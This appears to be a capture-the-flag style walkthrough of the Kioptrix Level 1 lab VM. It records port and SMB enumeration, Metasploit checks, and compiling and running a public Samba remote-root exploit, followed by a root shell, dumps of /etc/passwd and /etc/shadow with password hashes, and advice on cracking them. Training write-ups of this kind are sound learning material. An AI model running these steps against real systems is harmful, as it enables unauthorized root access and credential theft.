

Machine Information

- Attacker Machine

HOSTNAME: kali

IP ADDRESS: 192.168.137.133

SUBNET MASK: 255.255.255.0

```
(root@kali)-[~]
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:2d:fc:c4 brd ff:ff:ff:ff:ff:ff
    inet 192.168.137.133/24 brd 192.168.137.255 scope global dynamic noprefixroute eth0
        valid_lft 1663sec preferred_lft 1663sec
    inet6 fe80::20c:29ff:fe2d:fcc4/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

- Target Machine

IP ADDRESS: 192.168.137.134

SUBNET MASK: 255.255.255.0

```
(root@kali)-[~]
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:2d:fc:c4, IPv4: 192.168.137.133
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.137.1  92:9c:4a:8c:33:65      (Unknown: locally administered)
192.168.137.2  00:50:56:e6:c8:8b      VMware, Inc.
192.168.137.134 00:0c:29:3d:91:61      VMware, Inc.
192.168.137.254 00:50:56:ea:6f:11      VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.970 seconds (129.95 hosts/sec). 4 responded
```

NMAP

- All Ports

```
(root@kali)-[~/kioptrix]
# nmap -T 4 -p- 192.168.137.134 > ./nmap/all-ports.txt
```

```
(root@kali)-[~/kioptrix/nmap]
# ls
all-ports.txt
```

```
(root@kali)-[~/kioptrix/nmap]
# cat all-ports.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-15 06:06 EST
Nmap scan report for 192.168.137.134
Host is up (0.0017s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
32768/tcp open  filenet-tms
MAC Address: 00:0C:29:3D:91:61 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds
```

Enumerating SMB ie. Port 139

- NMAP Scan

```
(root@kali)-[~/kioptrix]
# nmap -T 4 -p 139 -A 192.168.137.134 > ./nmap/smb.txt

(root@kali)-[~/kioptrix/nmap]
# ls
all-ports.txt  smb.txt

(root@kali)-[~/kioptrix/nmap]
# cat smb.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-15 06:14 EST
Nmap scan report for 192.168.137.134
Host is up (0.0015s latency).

PORT      STATE SERVICE      VERSION
139/tcp   open  netbios-ssn  Samba smbd (workgroup: NMYGROUP)
MAC Address: 00:0C:29:3D:91:61 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT      ADDRESS
1   1.52 ms  192.168.137.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.10 seconds
```

Findings

Version: Samba smbd (workgroup: NMYGROUP) - SMB2
NetBIOS name: KIOPTRIX

- Trying to Connect & Access SMB File Shares

```
(root@kali)-[~/kioptrix]
# smbclient -L ///192.168.137.134//
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Password for [WORKGROUP\root]:
```

Sharename	Type	Comment
IPC\$	IPC	IPC Service (Samba Server)
ADMIN\$	IPC	IPC Service (Samba Server)

```
Reconnecting with SMB1 for workgroup listing.
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
```

Server	Comment
KIOPTRIX	Samba Server

Workgroup	Master
MYGROUP	KIOPTRIX

```
(root@kali)-[~/kioptrix]
# smbclient ///192.168.137.134//IPC$
Password for [WORKGROUP\root]:
do_connect: Connection to failed (Error NT_STATUS_NOT_FOUND)
```

```
(root@kali)-[~/kioptrix]
# smbclient ///192.168.137.134//ADMIN$
Password for [WORKGROUP\root]:
do_connect: Connection to failed (Error NT_STATUS_NOT_FOUND)
```


Findings

We weren't able to Connect to either of the SMB File Shares.

- Enumerating SMB Version

```
(root@kali)-[~/kioptrix]
# msfconsole
```

```
IIIIII dTb.dTb
II 4' v 'B
II Home 6. .P
II 'T;. .;P'
II 'T; ;P'
IIIIII 'YvP'
```



I love shells --egypt

```
=[ metasploit v6.2.23-dev ]
+ -- --=[ 2259 exploits - 1188 auxiliary - 402 post ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
```

Metasploit tip: Enable HTTP request and response logging
with `set HttpTrace true`
Metasploit Documentation: <https://docs.metasploit.com/>

msf6 >

msf6 > search smb_version

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/smb/smb_version		normal	No	SMB Version Detection

Interact with a module by name or index. For example `info 0`, `use 0` or `use auxiliary/scanner/smb/smb_version`

msf6 > use 0

```
msf6 auxiliary(scanner/smb/smb_version) > info
```

Name: SMB Version Detection
Module: auxiliary/scanner/smb/smb_version
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>
Spencer McIntyre
Christophe De La Fuente

Check supported:
No

Basic options:

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
THREADS	1	yes	The number of concurrent threads (max one per host)

Description:
Fingerprint and display version information about SMB servers. Protocol information and host operating system (if available) will be reported. Host operating system detection requires the remote server to support version 1 of the SMB protocol. Compression and encryption capability negotiation is only present in version 3.1.1.

```
msf6 auxiliary(scanner/smb/smb_version) > options
```

Module options (auxiliary/scanner/smb/smb_version):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
THREADS	1	yes	The number of concurrent threads (max one per host)

```
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.137.134
rhosts => 192.168.137.134
msf6 auxiliary(scanner/smb/smb_version) > run
```

```
[*] 192.168.137.134:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.137.134:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.137.134: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >
```

Findings

Version: Samba 2.2.1a

- Checking if SMB Version is Vulnerable to EternalBlue

Metasploit

Metasploit tip: Enable HTTP request and response logging with `set HttpTrace true`
Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 >
```

Matching Modules

Interact with a module by name or index. For example `info 4`, `use 4` or `use exploit/windows/smb/smb_doublepulsar_rc`

```
msf6 > use 3
```

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > options
Module options (auxiliary/scanner/smb/smb_ms17_010):
```

Name	Current Setting	Required	Description
CHECK_ARCH	true	no	Check for architecture on vulnerable hosts
CHECK_DOPU	true	no	Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE	false	no	Check for named pipe on vulnerable hosts
NAMED_PIPES	/usr/share/metasploit-framework/data/wordlists/named_pipes.txt	yes	List of named pipes to check
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	445	yes	The SMB service port (TCP)
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as
THREADS	1	yes	The number of concurrent threads (max one per host)

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.137.134
rhosts => 192.168.137.134

msf6 auxiliary(scanner/smb/smb_ms17_010) > options
Module options (auxiliary/scanner/smb/smb_ms17_010):
```

Name	Current Setting	Required	Description
CHECK_ARCH	true	no	Check for architecture on vulnerable hosts
CHECK_DOPU	true	no	Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE	false	no	Check for named pipe on vulnerable hosts
NAMED_PIPES	/usr/share/metasploit-framework/data/wordlists/named_pipes.txt	yes	List of named pipes to check
RHOSTS	192.168.137.134	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	445	yes	The SMB service port (TCP)
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as
THREADS	1	yes	The number of concurrent threads (max one per host)

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rport 139
rport => 139

msf6 auxiliary(scanner/smb/smb_ms17_010) > run
```

```
[*] 192.168.137.134:139 - Unable to properly detect if host is vulnerable.
[*] 192.168.137.134:139 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Findings

Not Vulnerable to Eternal Blue

- Checking for more Vulnerabilities

We came across 2 Vulnerabilities:

1. Trans2Open - <https://www.rapid7.com/db/modules/exploit/linux/samba/trans2open/> - But this wouldn't work because we weren't able to gain Anonymous Access to File Shares.
2. Samba < 2.2.8 (Linux/BSD) - Remote Code Execution - <https://www.exploit-db.com/exploits/10>

Trying out the Second One.


```
(root@kali)-[~/kioptrix]
# ls
10.c  nmap

(root@kali)-[~/kioptrix]
# gcc 10.c

(root@kali)-[~/kioptrix]
# ls
10.c  a.out  nmap

(root@kali)-[~/kioptrix]
# ./a.out -b 0 -v 192.168.137.134
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
```

```
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Worked!
```

```
*** JE MOET JE MUIL HOUWE
```

```
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
```

```
whoami
```

```
root
```

```
hostname
```

```
kioptrix.level1
```

```
cat /etc/passwd
```

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
```

```
tcp:x:14:50:TCP User:/var/tcp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:/:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nologin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
pcap:x:77:77::/var/arpwatch:/bin/nologin
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash
```

```
cat /etc/shadow
root:$1$XR0mcFDX$tF93GqnLH0JeGRHpaNyIs0:14513:0:99999:7:::
bin:!:14513:0:99999:7:::
daemon:!:14513:0:99999:7:::
adm:!:14513:0:99999:7:::
lp:!:14513:0:99999:7:::
sync:!:14513:0:99999:7:::
shutdown:!:14513:0:99999:7:::
halt:!:14513:0:99999:7:::
mail:!:14513:0:99999:7:::
news:!:14513:0:99999:7:::
uucp:!:14513:0:99999:7:::
operator:!:14513:0:99999:7:::
games:!:14513:0:99999:7:::
gopher:!:14513:0:99999:7:::
ftp:!:14513:0:99999:7:::
nobody:!:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::
```

We Rooted the Machine. We can also see that there are 2 users:

- John
- Harold

Their Password Hashes are:

- John - 1zL4.MR4t\$26N4YpTGceBO0gTX6TAky1

- Harold - 1Xx6dZdOd\$IMOGACI3r757dv17LZ9010

These Passwords can be Cracked by using:

- unshadow
- John the Ripper

See this Video:

https://www.youtube.com/watch?v=X1YI_StL1ac